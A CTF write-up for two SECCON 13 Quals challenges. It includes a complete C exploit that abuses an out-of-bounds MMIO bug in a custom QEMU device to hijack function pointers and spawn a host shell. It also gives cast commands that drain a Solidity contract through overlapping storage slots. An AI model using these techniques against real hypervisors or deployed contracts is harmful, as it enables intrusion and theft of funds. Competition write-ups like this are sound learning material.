Contents

SECCON CTF 13 Quals

https://i.imgur.com/fvhYwU8.png
SECCON CTF 13 Quals. We qualified to the finals.

I played with the ADA INDONESIA COY team in the SECCON CTF 13 Quals. We managed to secure fifth place and qualify for the finals next March 2025. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork!

Below is the writeup for the challenges that I managed to solve.

Pwn

BabyQEMU

Description
nc babyqemu.seccon.games 3824

Initial Analysis

In this challenge, we were provided with a zip file containing a new driver which is added to the given QEMU. Let’s take a look on it:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include "qemu/osdep.h"
#include "hw/pci/pci_device.h"
#include "hw/qdev-properties.h"
#include "qemu/module.h"
#include "sysemu/kvm.h"
#include "qom/object.h"
#include "qapi/error.h"

#include "hw/char/baby.h"

struct PCIBabyDevState {
    PCIDevice parent_obj;

    MemoryRegion mmio;
    struct PCIBabyDevReg *reg_mmio;

    uint8_t buffer[0x100];
};

OBJECT_DECLARE_SIMPLE_TYPE(PCIBabyDevState, PCI_BABY_DEV)

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size);
static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size);

static const MemoryRegionOps pci_babydev_mmio_ops = {
    .read       = pci_babydev_mmio_read,
    .write      = pci_babydev_mmio_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .impl = {
        .min_access_size = 1,
        .max_access_size = 4,
    },
};

static void pci_babydev_realize(PCIDevice *pci_dev, Error **errp) {
    PCIBabyDevState *ms = PCI_BABY_DEV(pci_dev);
    uint8_t *pci_conf;

    debug_printf("called\n");
    pci_conf = pci_dev->config;
    pci_conf[PCI_INTERRUPT_PIN] = 0;

    ms->reg_mmio = g_malloc(sizeof(struct PCIBabyDevReg));

    memory_region_init_io(&ms->mmio, OBJECT(ms), &pci_babydev_mmio_ops, ms, TYPE_PCI_BABY_DEV"-mmio", sizeof(struct PCIBabyDevReg));
    pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY | PCI_BASE_ADDRESS_MEM_TYPE_64, &ms->mmio);
}

static void pci_babydev_reset(PCIBabyDevState *ms) {
    debug_printf("called\n");

    bzero(ms->reg_mmio, sizeof(struct PCIBabyDevReg));
    bzero(ms->buffer, sizeof(ms->buffer));
}

static void pci_babydev_uninit(PCIDevice *pci_dev) {
    PCIBabyDevState *ms = PCI_BABY_DEV(pci_dev);

    pci_babydev_reset(ms);
    g_free(ms->reg_mmio);
}

static void qdev_pci_babydev_reset(DeviceState *s) {
    PCIBabyDevState *ms = PCI_BABY_DEV(s);

    pci_babydev_reset(ms);
}

static Property pci_babydev_properties[] = {
    DEFINE_PROP_END_OF_LIST(),
};

static void pci_babydev_class_init(ObjectClass *klass, void *data) {
    DeviceClass *dc = DEVICE_CLASS(klass);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);

    k->realize = pci_babydev_realize;
    k->exit = pci_babydev_uninit;
    k->vendor_id = BABY_PCI_VENDOR_ID;
    k->device_id = BABY_PCI_DEVICE_ID;
    k->revision = 0x00;
    k->class_id = PCI_CLASS_OTHERS;
    dc->desc = "SECCON CTF 2024 Challenge : Baby QEMU Escape Device";
    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
    dc->reset = qdev_pci_babydev_reset;
    device_class_set_props(dc, pci_babydev_properties);
}

static const TypeInfo pci_babydev_info = {
    .name          = TYPE_PCI_BABY_DEV,
    .parent        = TYPE_PCI_DEVICE,
    .instance_size = sizeof(PCIBabyDevState),
    .class_init    = pci_babydev_class_init,
    .interfaces = (InterfaceInfo[]) {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    },
};

static void pci_babydev_register_types(void) {
    type_register_static(&pci_babydev_info);
}

type_init(pci_babydev_register_types)

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
    PCIBabyDevState *ms = opaque;
    struct PCIBabyDevReg *reg = ms->reg_mmio;

    debug_printf("addr:%lx, size:%d\n", addr, size);

    switch(addr){
        case MMIO_GET_DATA:
            debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
            return *(uint64_t*)&ms->buffer[reg->offset];
    }
        
    return -1;
}

static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
    PCIBabyDevState *ms = opaque;
    struct PCIBabyDevReg *reg = ms->reg_mmio;

    debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);

    switch(addr){
        case MMIO_SET_OFFSET:
            reg->offset = val;
            break;
        case MMIO_SET_OFFSET+4:
            reg->offset |= val << 32;
            break;
        case MMIO_SET_DATA:
            debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
            *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
            break;
    }
}

Taking a look at the above challenge, there is a new QEMU PCI driver named baby, which have structure like below

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
struct PCIBabyDevState {
    PCIDevice parent_obj;

    MemoryRegion mmio;
    struct PCIBabyDevReg *reg_mmio;

    uint8_t buffer[0x100];
};
...
struct PCIBabyDevReg {
	off_t offset;
	uint32_t data;
};

The driver exposes a mmio interface that allows us to interact with it. Looking at the source code, here are the key operations we can perform:

  • We can write to the MMIO_SET_OFFSET register to configure the reg_mmio->offset value.
  • We can read from the MMIO_GET_DATA register to access the contents of buffer[reg_mmio->offset].
  • We can write to the MMIO_SET_DATA register to modify the contents of buffer[reg_mmio->offset].
  • Due to the access_size, we can only read or write up to 4 bytes at a time.

The bug in this driver is that there isn’t any limit to the reg_mmio->offset that we set, which means we have OOB read and write. Using this bug, the goal of this challenge is to escape QEMU so that we can read the flag on the host.

Solution

Let’s start by checking the device name so that we can communicate with it. First, let’s check the result of lspci inside QEMU:

1
2
3
4
5
6
7
8
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 4296:1338
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 1af4:1000
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

The device is 00:04 based on the vendor and device IDs defined in baby.h.

1
2
#define BABY_PCI_VENDOR_ID 0x4296
#define BABY_PCI_DEVICE_ID 0x1338

Then, we can start making a skeleton of the program to interact with the mmio pci driver.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#define MMIO_SET_OFFSET 0x0
#define MMIO_GET_DATA   0x8
#define MMIO_SET_DATA   0x8

unsigned char *mmio_mem;

void mmio_write(uint64_t addr, uint64_t value) {
    *(uint64_t *)(mmio_mem + addr) = value;
}

uint64_t mmio_read(uint64_t addr) {
    return *(uint64_t *)(mmio_mem + addr);
}

int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        fprintf(stderr, "[!] Cannot open /sys/devices/pci0000:00/0000:00:04.0/resource0\n");
        exit(1);
    }
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        fprintf(stderr, "[!] mmio error\n");
        exit(1);
    }
    printf("[*] mmio done\n");
}

Now, we can communicate with the mmio driver. Due to the bugs, we can set up another helper to do OOB read and write relative to the buffer. The idea is:

  • To do OOB read, simply set the offset to the index that we want via MMIO_SET_OFFSET, and read the data via MMIO_GET_DATA.
  • To do OOB write, simply set the offset to the index that we want via MMIO_SET_OFFSET, and write the data via MMIO_SET_DATA.

Remember that we can only do reads and writes in 4-byte chunks, so in order to read or write a full 8 bytes, we need to do it twice (4 bytes at a time). Below is the helper that we made to make our life easier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
uint64_t weak_read_8(uint64_t offset) {
    mmio_write(MMIO_SET_OFFSET, offset);
    uint64_t lower_val = mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF;
    mmio_write(MMIO_SET_OFFSET, offset+4);
    lower_val += ((mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF) << 32) ;
    return lower_val;
}

void weak_write_8(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
    mmio_write(MMIO_SET_OFFSET, offset+4);
    mmio_write(MMIO_SET_DATA, value>>32);
}

void weak_write_4(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
}

Now that we have relative read and write capabilities, the general goals to escape the driver are:

  • We need to leak the heap address and pie address of QEMU.
  • Next, we need to overwrite mmio.ops to point to our fake_ops.
    • Our fake_ops will overwrite mmio_read with system and keep mmio_write as it is (because we still need to be able to do relative writes).
  • Then, we need to set mmio.opaque to point to the string /bin/sh.
    • The reason is that when we call mmio_read, the register rdi contains the value stored in mmio.opaque.
  • Lastly, we simply trigger mmio_read, and due to the fake_ops, it will trigger system("/bin/sh").

Let’s implement this in our exploit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...
    // Get heap and pie leak
    uint64_t leaked_pie = weak_read_8(-0x90);
    printf("leaked_pie = 0x%016lx\n", leaked_pie);
    uint64_t pie_base = leaked_pie - 0x72fa50;
    printf("pie_base = 0x%016lx\n", pie_base);
    uint64_t leaked_heap = weak_read_8(-0x8);
    printf("leaked_heap = 0x%016lx\n", leaked_heap);
    uint64_t buf_addr = leaked_heap - 0x1748;

    // Write /bin/sh in heap
    weak_write_8(0x10, 0x68732f6e69622f);
    uint64_t binsh_addr = buf_addr+0x10;

    // Create fake_ops in buffer
    uint64_t mmio_write_addr = pie_base + 0x3ae1b0;
    uint64_t system_plt = pie_base+0x324150;
    weak_write_8(0x0, system_plt); // mmio_read get overwritten to system
    weak_write_8(0x8, mmio_write_addr); // keep mmio_write because we still need it

    // Overwrite mmio.ops to point to our fake_ops
    weak_write_8(-0xc8, buf_addr);

    // Make opaque point to our string /bin/sh
    weak_write_4(-0xc0, binsh_addr);

    // Spawn shell
    puts("Trigger mmio_read");
    getchar();
    mmio_read(0x0);
...

Now that we have the complete exploit, we can run it on the remote server to escape QEMU and get the flag. Below is the full exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#define MMIO_SET_OFFSET 0x0
#define MMIO_GET_DATA   0x8
#define MMIO_SET_DATA   0x8

unsigned char *mmio_mem;

void mmio_write(uint64_t addr, uint64_t value) {
    *(uint64_t *)(mmio_mem + addr) = value;
}

uint64_t mmio_read(uint64_t addr) {
    return *(uint64_t *)(mmio_mem + addr);
}

uint64_t weak_read_8(uint64_t offset) {
    mmio_write(MMIO_SET_OFFSET, offset);
    uint64_t lower_val = mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF;
    mmio_write(MMIO_SET_OFFSET, offset+4);
    lower_val += ((mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF) << 32) ;
    return lower_val;
}

void weak_write_8(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
    mmio_write(MMIO_SET_OFFSET, offset+4);
    mmio_write(MMIO_SET_DATA, value>>32);
}

void weak_write_4(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
}

int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        fprintf(stderr, "[!] Cannot open /sys/devices/pci0000:00/0000:00:04.0/resource0\n");
        exit(1);
    }
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        fprintf(stderr, "[!] mmio error\n");
        exit(1);
    }
    puts("[*] mmio done");

    // Get heap and pie leak
    uint64_t leaked_pie = weak_read_8(-0x90);
    printf("leaked_pie = 0x%016lx\n", leaked_pie);
    uint64_t pie_base = leaked_pie - 0x72fa50;
    printf("pie_base = 0x%016lx\n", pie_base);
    uint64_t leaked_heap = weak_read_8(-0x8);
    printf("leaked_heap = 0x%016lx\n", leaked_heap);
    uint64_t buf_addr = leaked_heap - 0x1748;

    // Write /bin/sh in heap
    weak_write_8(0x10, 0x68732f6e69622f);
    uint64_t binsh_addr = buf_addr+0x10;

    // Create fake_ops in buffer
    uint64_t mmio_write_addr = pie_base + 0x3ae1b0;
    uint64_t system_plt = pie_base+0x324150;
    weak_write_8(0x0, system_plt); // mmio_read get overwritten to system
    weak_write_8(0x8, mmio_write_addr); // keep mmio_write because we still need it

    // Overwrite mmio.ops to point to our fake_ops
    weak_write_8(-0xc8, buf_addr);

    // Make opaque point to our string /bin/sh
    weak_write_4(-0xc0, binsh_addr);

    // Spawn shell
    puts("Trigger mmio_read");
    getchar();
    mmio_read(0x0);
}

We just need to upload the compiled executable to the server (via wget) and run it. This will allow us to escape QEMU and read the flag on the host.

Flag: SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}

Blockchain

Trillion Ether

Description

Get Chance!

nc trillion-ether.seccon.games 31337

https://i.imgur.com/ZQ0s1N7.png
I first blooded this challenge :)

Initial Analysis

In this challenge, we were given a file named TrillionEther.sol. Let’s take a look at it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

contract TrillionEther {
    struct Wallet {
        bytes32 name;
        uint256 balance;
        address owner;
    }

    Wallet[] public wallets;

    constructor() payable {
        require(msg.value == 1_000_000_000_000 ether);
    }

    function isSolved() external view returns (bool) {
        return address(this).balance == 0;
    }

    function createWallet(bytes32 name) external payable {
        wallets.push(_newWallet(name, msg.value, msg.sender));
    }

    function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external {
        require(wallets[fromWalletId].owner == msg.sender, "not owner");
        wallets[fromWalletId].balance -= amount;
        wallets[toWalletId].balance += amount;
    }

    function withdraw(uint256 walletId, uint256 amount) external {
        require(wallets[walletId].owner == msg.sender, "not owner");
        wallets[walletId].balance -= amount;
        payable(wallets[walletId].owner).transfer(amount);
    }

    function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) {
        wallet = wallet;
        wallet.name = name;
        wallet.balance = balance;
        wallet.owner = owner;
    }
}

The goal is to drain the contract’s native ether. Looking at the code, the bug is in the function _newWallet. The variable wallet is an uninitialized storage pointer, and due to this behavior, the wallet.name = name will actually overwrite storage slot 0.

If we take a careful look at the contract, storage slot 0 is the location where the array wallets length is stored. This means when we call createWallet, the bytes32 name that we pass will actually overwrite the array length.

Solution

Due to the previous bug, we can arbitrarily overwrite the array length. Now, let’s take a step back and check the Solidity documentation regarding slot calculation. When you try to access an array which is stored in slot 0, the elements will be stored starting at slot keccak256(abi.encode(0)), and subsequent elements will be stored in adjacent slots. Due to the structure of the struct Wallet, each element will occupy 3 slots to store its struct elements.

Based on this information, we can see that if we overwrite the array length to be large enough, there might be slot overlapping. After doing careful calculations, we find that if we:

  • Create a wallet with name 0x0, the element will occupy:
    • slot 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 <- name
    • slot 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564 <- balance
    • slot 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565 <- owner
  • Then, create a wallet with name 0x5555555555555555555555555555555555555555555555555555555555555555:
    • It will overwrite the array length value with the name, so the new pushed element will occupy slot (keccak256(abi.encode(0)) + 3*name) % 2**256, which means the newly pushed element’s slots start at 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e562.

We can observe that the second wallet’s slots overlap with wallet 0x0. Due to this overlap, the balance of wallet 0x0 is overwritten with the value of the owner of the second wallet.

This causes wallet 0x0’s balance to become huge, and we can easily withdraw 1 trillion ether now. To provide a better explanation, below is an illustration of what happens.

As you can see in the above illustration, wallet 0’s balance got overwritten due to the overlap :). So now, we can simply create those two wallets, and we will be able to withdraw the native ether via wallet 0x0. I used cast to do it because I was too lazy to make a script.

1
2
3
4
5
6
7
cast send 0x3a287AFC097315df37F5FF7df442006da30EDF27 "createWallet(bytes32)" -r http://trillion-ether.seccon.games:8545/5c21b11c-f832-4dcd-b434-521a9e772c87 --private-key 0a744dc044ce0f4b5343de986bf831e052cb2c036b78cac1d9f6ee066dcde20c
-- 0x0000000000000000000000000000000000000000000000000000000000000000

cast send 0x3a287AFC097315df37F5FF7df442006da30EDF27 "createWallet(bytes32)" -r http://trillion-ether.seccon.games:8545/5c21b11c-f832-4dcd-b434-521a9e772c87 --private-key 0a744dc044ce0f4b5343de986bf831e052cb2c036b78cac1d9f6ee066dcde20c
-- 0x5555555555555555555555555555555555555555555555555555555555555555

cast send 0x3a287AFC097315df37F5FF7df442006da30EDF27 "withdraw(uint256,uint256)" -r http://trillion-ether.seccon.games:8545/5c21b11c-f832-4dcd-b434-521a9e772c87 --private-key 0a744dc044ce0f4b5343de986bf831e052cb2c036b78cac1d9f6ee066dcde20c -- 0 1000000000000000000000000000000

Flag: SECCON{unb3l13-bubb13_64362072f002c1ea}

Social Media

Follow me on twitter